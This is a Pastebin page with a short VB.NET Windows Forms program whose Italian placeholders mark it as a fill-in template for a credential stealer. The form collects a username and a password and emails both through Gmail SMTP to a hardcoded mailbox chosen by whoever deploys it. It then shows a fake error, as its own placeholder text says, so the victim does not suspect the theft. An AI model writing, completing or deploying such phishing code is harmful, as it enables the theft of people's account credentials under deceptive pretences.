daily pastebin goal
58%
SHARE
TWEET

Untitled

a guest Dec 23rd, 2017 324 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Net.Mail
  2. Public Class Form1
  3.  
  4. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  5. If TextBox1.Text = "" Then
  6. MsgBox("ERRORE SE IL CAMPO DEL NOME UTENTE RIMARRĂ  VUOTO")
  7. If TextBox2.Text = "" Then
  8. MsgBox("ERRORE SE IL CAMPO DELLA PASSWORD RIMARRĂ  VUOTO")
  9. Else
  10. End If
  11. End If
  12. Dim smtpServer As New SmtpClient()
  13. Dim mail As New MailMessage()
  14. smtpServer.Credentials = New Net.NetworkCredential("VOSTRAEMAIL@gmail.com", "LA VOSTRA PASSWORD GMAIL")
  15. 'using gmail
  16. smtpServer.Port = 587
  17. smtpServer.Host = "smtp.gmail.com"
  18. smtpServer.EnableSsl = True
  19. mail = New MailMessage()
  20. mail.From = New MailAddress("VOSTAREMAIL@gmail.com")
  21. mail.To.Add("VOSTRAEMAIL@gmail.com")
  22. mail.Subject = "Username: " & TextBox1.Text
  23. mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
  24. smtpServer.Send(mail)
  25. MsgBox("SCRIVETE UN FALSO ERRORE CHE VERRĂ  VISUALIZZATO", MsgBoxStyle.Critical, "ERROR!")
  26. End
  27. End Sub
  28.  
  29. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  30. End
  31. End Sub
  32. End Class
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top